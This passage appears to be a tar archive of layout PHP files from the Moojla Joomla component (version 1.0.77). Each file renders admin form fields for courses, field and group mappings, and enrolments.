<?php foreach ($fieldSets as $name => $fieldSet) : ?>
	<?php if (isset($fieldSet->description) &&
trim($fieldSet->description)) : ?>
		<p class="alert alert-info"><?php echo
$this->escape(JText::_($fieldSet->description)); ?></p>
	<?php endif; ?>

	<?php
	// Include the real fields in this panel.
	if ($name == 'vdmmetadata')
	{
		echo $form->renderField('metadesc');
		echo $form->renderField('metakey');
	}

	foreach ($form->getFieldset($name) as $field)
	{
		if ($field->name != 'jform[metadata][tags][]')
		{
			echo $field->renderField();
		}
	} ?>
<?php endforeach; ?>
layouts/course/moodle_access_left.php000064400000004452151165724400014101
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		moodle_access_left.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

// get the form
$form = $displayData->getForm();

// get the layout fields override method name (from layout path/ID)
$layout_path_array = explode('.', $this->getLayoutId());
// Since we cannot pass the layout and tab names as parameters to the model
method
// this name combination of tab and layout in the method name is the only
work around
// seeing that JCB uses those two values (tab_name & layout_name) as
the layout file name.
// example of layout name: details_left.php
// example of method name: getFields_details_left()
$fields_tab_layout = 'fields_' . $layout_path_array[1];

// get the fields
$fields = $displayData->get($fields_tab_layout) ?: array(
	'availabilityinfolink',
	'redirect_after_enrol',
	'showlogintab',
	'loginurl',
	'alterurl',
	'enterlbl',
	'buylbl'
);

$hiddenFields = $displayData->get('hidden_fields') ?: array();

?>
<?php if ($fields && count((array) $fields)) :?>
<?php foreach($fields as $field): ?>
	<?php if (in_array($field, $hiddenFields)) : ?>
		<?php $form->setFieldAttribute($field, 'type',
'hidden'); ?>
	<?php endif; ?>
	<?php echo $form->renderField($field, null, null,
array('class' => 'control-wrapper-' . $field));
?>
<?php endforeach; ?>
<?php endif; ?>
layouts/course/moodle_access_right.php000064400000004446151165724400014267
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		moodle_access_right.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

// get the form
$form = $displayData->getForm();

// get the layout fields override method name (from layout path/ID)
$layout_path_array = explode('.', $this->getLayoutId());
// Since we cannot pass the layout and tab names as parameters to the model
method
// this name combination of tab and layout in the method name is the only
work around
// seeing that JCB uses those two values (tab_name & layout_name) as
the layout file name.
// example of layout name: details_left.php
// example of method name: getFields_details_left()
$fields_tab_layout = 'fields_' . $layout_path_array[1];

// get the fields
$fields = $displayData->get($fields_tab_layout) ?: array(
	'cangotomoodle',
	'popupbutton',
	'showregtab',
	'registrationurl',
	'loginlbl',
	'freeenterlbl',
	'enrollbl'
);

$hiddenFields = $displayData->get('hidden_fields') ?: array();

?>
<?php if ($fields && count((array) $fields)) :?>
<?php foreach($fields as $field): ?>
	<?php if (in_array($field, $hiddenFields)) : ?>
		<?php $form->setFieldAttribute($field, 'type',
'hidden'); ?>
	<?php endif; ?>
	<?php echo $form->renderField($field, null, null,
array('class' => 'control-wrapper-' . $field));
?>
<?php endforeach; ?>
<?php endif; ?>
layouts/course/publishing.php000064400000004446151165724400012436
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		publishing.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

// get the form
$form = $displayData->getForm();

// get the layout fields override method name (from layout path/ID)
$layout_path_array = explode('.', $this->getLayoutId());
// Since we cannot pass the layout and tab names as parameters to the model
method
// this name combination of tab and layout in the method name is the only
work around
// seeing that JCB uses those two values (tab_name & layout_name) as
the layout file name.
// example of layout name: details_left.php
// example of method name: getFields_details_left()
$fields_tab_layout = 'fields_' . $layout_path_array[1];

// get the fields
$fields = $displayData->get($fields_tab_layout) ?: array(
	'title',
	'created',
	'created_by',
	'modified',
	'modified_by',
	'published',
	'ordering',
	'version',
	'hits',
	'id'
);

$hiddenFields = $displayData->get('hidden_fields') ?: array();

?>
<?php if ($fields && count((array) $fields)) :?>
<?php foreach($fields as $field): ?>
	<?php if (in_array($field, $hiddenFields)) : ?>
		<?php $form->setFieldAttribute($field, 'type',
'hidden'); ?>
	<?php endif; ?>
	<?php echo $form->renderField($field, null, null,
array('class' => 'control-wrapper-' . $field));
?>
<?php endforeach; ?>
<?php endif; ?>
layouts/course/templates_left.php000064400000004332151165724400013274
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		templates_left.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

// get the form
$form = $displayData->getForm();

// get the layout fields override method name (from layout path/ID)
$layout_path_array = explode('.', $this->getLayoutId());
// Since we cannot pass the layout and tab names as parameters to the model
method
// this name combination of tab and layout in the method name is the only
work around
// seeing that JCB uses those two values (tab_name & layout_name) as
the layout file name.
// example of layout name: details_left.php
// example of method name: getFields_details_left()
$fields_tab_layout = 'fields_' . $layout_path_array[1];

// get the fields
$fields = $displayData->get($fields_tab_layout) ?: array(
	'course_templatestyle_forcourseconfig'
);

$hiddenFields = $displayData->get('hidden_fields') ?: array();

?>
<?php if ($fields && count((array) $fields)) :?>
<?php foreach($fields as $field): ?>
	<?php if (in_array($field, $hiddenFields)) : ?>
		<?php $form->setFieldAttribute($field, 'type',
'hidden'); ?>
	<?php endif; ?>
	<?php echo $form->renderField($field, null, null,
array('class' => 'control-wrapper-' . $field));
?>
<?php endforeach; ?>
<?php endif; ?>
layouts/course/templates_right.php000064400000004313151165724400013456
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		templates_right.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

// get the form
$form = $displayData->getForm();

// get the layout fields override method name (from layout path/ID)
$layout_path_array = explode('.', $this->getLayoutId());
// Since we cannot pass the layout and tab names as parameters to the model
method
// this name combination of tab and layout in the method name is the only
work around
// seeing that JCB uses those two values (tab_name & layout_name) as
the layout file name.
// example of layout name: details_left.php
// example of method name: getFields_details_left()
$fields_tab_layout = 'fields_' . $layout_path_array[1];

// get the fields
$fields = $displayData->get($fields_tab_layout) ?: array(
	'course_detail_layout'
);

$hiddenFields = $displayData->get('hidden_fields') ?: array();

?>
<?php if ($fields && count((array) $fields)) :?>
<?php foreach($fields as $field): ?>
	<?php if (in_array($field, $hiddenFields)) : ?>
		<?php $form->setFieldAttribute($field, 'type',
'hidden'); ?>
	<?php endif; ?>
	<?php echo $form->renderField($field, null, null,
array('class' => 'control-wrapper-' . $field));
?>
<?php endforeach; ?>
<?php endif; ?>
layouts/course/video_left.php000064400000004432151165724400012405
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		video_left.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

// get the form
$form = $displayData->getForm();

// get the layout fields override method name (from layout path/ID)
$layout_path_array = explode('.', $this->getLayoutId());
// Since we cannot pass the layout and tab names as parameters to the model
method
// this name combination of tab and layout in the method name is the only
work around
// seeing that JCB uses those two values (tab_name & layout_name) as
the layout file name.
// example of layout name: details_left.php
// example of method name: getFields_details_left()
$fields_tab_layout = 'fields_' . $layout_path_array[1];

// get the fields
$fields = $displayData->get($fields_tab_layout) ?: array(
	'useglobalvideo',
	'videotype',
	'preventdownload',
	'addcontrols',
	'preloadvideo',
	'autoplay',
	'muted'
);

$hiddenFields = $displayData->get('hidden_fields') ?: array();

?>
<?php if ($fields && count((array) $fields)) :?>
<?php foreach($fields as $field): ?>
	<?php if (in_array($field, $hiddenFields)) : ?>
		<?php $form->setFieldAttribute($field, 'type',
'hidden'); ?>
	<?php endif; ?>
	<?php echo $form->renderField($field, null, null,
array('class' => 'control-wrapper-' . $field));
?>
<?php endforeach; ?>
<?php endif; ?>
layouts/course_field_mapper/details_left.php000064400000004340151165724400015431
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		details_left.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

// get the form
$form = $displayData->getForm();

// get the layout fields override method name (from layout path/ID)
$layout_path_array = explode('.', $this->getLayoutId());
// Since we cannot pass the layout and tab names as parameters to the model
method
// this name combination of tab and layout in the method name is the only
work around
// seeing that JCB uses those two values (tab_name & layout_name) as
the layout file name.
// example of layout name: details_left.php
// example of method name: getFields_details_left()
$fields_tab_layout = 'fields_' . $layout_path_array[1];

// get the fields
$fields = $displayData->get($fields_tab_layout) ?: array(
	'coursefield',
	'mcoursefields',
	'field_icon'
);

$hiddenFields = $displayData->get('hidden_fields') ?: array();

?>
<?php if ($fields && count((array) $fields)) :?>
<?php foreach($fields as $field): ?>
	<?php if (in_array($field, $hiddenFields)) : ?>
		<?php $form->setFieldAttribute($field, 'type',
'hidden'); ?>
	<?php endif; ?>
	<?php echo $form->renderField($field, null, null,
array('class' => 'control-wrapper-' . $field));
?>
<?php endforeach; ?>
<?php endif; ?>
layouts/course_field_mapper/index.html000064400000000054151165724400014254
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>layouts/course_field_mapper/publishing.php000064400000004357151165724400015146
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		publishing.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

// get the form
$form = $displayData->getForm();

// get the layout fields override method name (from layout path/ID)
$layout_path_array = explode('.', $this->getLayoutId());
// Since we cannot pass the layout and tab names as parameters to the model
method
// this name combination of tab and layout in the method name is the only
work around
// seeing that JCB uses those two values (tab_name & layout_name) as
the layout file name.
// example of layout name: details_left.php
// example of method name: getFields_details_left()
$fields_tab_layout = 'fields_' . $layout_path_array[1];

// get the fields
$fields = $displayData->get($fields_tab_layout) ?: array(
	'title',
	'created',
	'created_by',
	'modified',
	'modified_by'
);

$hiddenFields = $displayData->get('hidden_fields') ?: array();

?>
<?php if ($fields && count((array) $fields)) :?>
<?php foreach($fields as $field): ?>
	<?php if (in_array($field, $hiddenFields)) : ?>
		<?php $form->setFieldAttribute($field, 'type',
'hidden'); ?>
	<?php endif; ?>
	<?php echo $form->renderField($field, null, null,
array('class' => 'control-wrapper-' . $field));
?>
<?php endforeach; ?>
<?php endif; ?>
layouts/course_field_mapper/publlshing.php000064400000004357151165724400015151
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		publlshing.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

// get the form
$form = $displayData->getForm();

// get the layout fields override method name (from layout path/ID)
$layout_path_array = explode('.', $this->getLayoutId());
// Since we cannot pass the layout and tab names as parameters to the model
method
// this name combination of tab and layout in the method name is the only
work around
// seeing that JCB uses those two values (tab_name & layout_name) as
the layout file name.
// example of layout name: details_left.php
// example of method name: getFields_details_left()
$fields_tab_layout = 'fields_' . $layout_path_array[1];

// get the fields
$fields = $displayData->get($fields_tab_layout) ?: array(
	'published',
	'ordering',
	'access',
	'version',
	'hits',
	'id'
);

$hiddenFields = $displayData->get('hidden_fields') ?: array();

?>
<?php if ($fields && count((array) $fields)) :?>
<?php foreach($fields as $field): ?>
	<?php if (in_array($field, $hiddenFields)) : ?>
		<?php $form->setFieldAttribute($field, 'type',
'hidden'); ?>
	<?php endif; ?>
	<?php echo $form->renderField($field, null, null,
array('class' => 'control-wrapper-' . $field));
?>
<?php endforeach; ?>
<?php endif; ?>
layouts/course_group_map/details_left.php000064400000004311151165724400014771
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		details_left.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

// get the form
$form = $displayData->getForm();

// get the layout fields override method name (from layout path/ID)
$layout_path_array = explode('.', $this->getLayoutId());
// Since we cannot pass the layout and tab names as parameters to the model
method
// this name combination of tab and layout in the method name is the only
work around
// seeing that JCB uses those two values (tab_name & layout_name) as
the layout file name.
// example of layout name: details_left.php
// example of method name: getFields_details_left()
$fields_tab_layout = 'fields_' . $layout_path_array[1];

// get the fields
$fields = $displayData->get($fields_tab_layout) ?: array(
	'moojlacourse',
	'role'
);

$hiddenFields = $displayData->get('hidden_fields') ?: array();

?>
<?php if ($fields && count((array) $fields)) :?>
<?php foreach($fields as $field): ?>
	<?php if (in_array($field, $hiddenFields)) : ?>
		<?php $form->setFieldAttribute($field, 'type',
'hidden'); ?>
	<?php endif; ?>
	<?php echo $form->renderField($field, null, null,
array('class' => 'control-wrapper-' . $field));
?>
<?php endforeach; ?>
<?php endif; ?>
layouts/course_group_map/details_right.php000064400000004301151165724400015153
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		details_right.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

// get the form
$form = $displayData->getForm();

// get the layout fields override method name (from layout path/ID)
$layout_path_array = explode('.', $this->getLayoutId());
// Since we cannot pass the layout and tab names as parameters to the model
method
// this name combination of tab and layout in the method name is the only
work around
// seeing that JCB uses those two values (tab_name & layout_name) as
the layout file name.
// example of layout name: details_left.php
// example of method name: getFields_details_left()
$fields_tab_layout = 'fields_' . $layout_path_array[1];

// get the fields
$fields = $displayData->get($fields_tab_layout) ?: array(
	'course_group'
);

$hiddenFields = $displayData->get('hidden_fields') ?: array();

?>
<?php if ($fields && count((array) $fields)) :?>
<?php foreach($fields as $field): ?>
	<?php if (in_array($field, $hiddenFields)) : ?>
		<?php $form->setFieldAttribute($field, 'type',
'hidden'); ?>
	<?php endif; ?>
	<?php echo $form->renderField($field, null, null,
array('class' => 'control-wrapper-' . $field));
?>
<?php endforeach; ?>
<?php endif; ?>
layouts/course_group_map/index.html000064400000000054151165724400013616
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>layouts/course_group_map/publishing.php000064400000004357151165724400014510
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		publishing.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

// get the form
$form = $displayData->getForm();

// get the layout fields override method name (from layout path/ID)
$layout_path_array = explode('.', $this->getLayoutId());
// Since we cannot pass the layout and tab names as parameters to the model
method
// this name combination of tab and layout in the method name is the only
work around
// seeing that JCB uses those two values (tab_name & layout_name) as
the layout file name.
// example of layout name: details_left.php
// example of method name: getFields_details_left()
$fields_tab_layout = 'fields_' . $layout_path_array[1];

// get the fields
$fields = $displayData->get($fields_tab_layout) ?: array(
	'title',
	'created',
	'created_by',
	'modified',
	'modified_by'
);

$hiddenFields = $displayData->get('hidden_fields') ?: array();

?>
<?php if ($fields && count((array) $fields)) :?>
<?php foreach($fields as $field): ?>
	<?php if (in_array($field, $hiddenFields)) : ?>
		<?php $form->setFieldAttribute($field, 'type',
'hidden'); ?>
	<?php endif; ?>
	<?php echo $form->renderField($field, null, null,
array('class' => 'control-wrapper-' . $field));
?>
<?php endforeach; ?>
<?php endif; ?>
layouts/course_group_map/publlshing.php000064400000004344151165724400014507
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		publlshing.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

// get the form
$form = $displayData->getForm();

// get the layout fields override method name (from layout path/ID)
$layout_path_array = explode('.', $this->getLayoutId());
// Since we cannot pass the layout and tab names as parameters to the model
method
// this name combination of tab and layout in the method name is the only
work around
// seeing that JCB uses those two values (tab_name & layout_name) as
the layout file name.
// example of layout name: details_left.php
// example of method name: getFields_details_left()
$fields_tab_layout = 'fields_' . $layout_path_array[1];

// get the fields
$fields = $displayData->get($fields_tab_layout) ?: array(
	'published',
	'ordering',
	'version',
	'hits',
	'id'
);

$hiddenFields = $displayData->get('hidden_fields') ?: array();

?>
<?php if ($fields && count((array) $fields)) :?>
<?php foreach($fields as $field): ?>
	<?php if (in_array($field, $hiddenFields)) : ?>
		<?php $form->setFieldAttribute($field, 'type',
'hidden'); ?>
	<?php endif; ?>
	<?php echo $form->renderField($field, null, null,
array('class' => 'control-wrapper-' . $field));
?>
<?php endforeach; ?>
<?php endif; ?>
layouts/enrolment/details_left.php000064400000004311151165724400013423
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		details_left.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

// get the form
$form = $displayData->getForm();

// get the layout fields override method name (from layout path/ID)
$layout_path_array = explode('.', $this->getLayoutId());
// Since we cannot pass the layout and tab names as parameters to the model
method
// this name combination of tab and layout in the method name is the only
work around
// seeing that JCB uses those two values (tab_name & layout_name) as
the layout file name.
// example of layout name: details_left.php
// example of method name: getFields_details_left()
$fields_tab_layout = 'fields_' . $layout_path_array[1];

// get the fields
$fields = $displayData->get($fields_tab_layout) ?: array(
	'moojlacourse',
	'role'
);

$hiddenFields = $displayData->get('hidden_fields') ?: array();

?>
<?php if ($fields && count((array) $fields)) :?>
<?php foreach($fields as $field): ?>
	<?php if (in_array($field, $hiddenFields)) : ?>
		<?php $form->setFieldAttribute($field, 'type',
'hidden'); ?>
	<?php endif; ?>
	<?php echo $form->renderField($field, null, null,
array('class' => 'control-wrapper-' . $field));
?>
<?php endforeach; ?>
<?php endif; ?>
layouts/enrolment/details_right.php000064400000004307151165724400013613
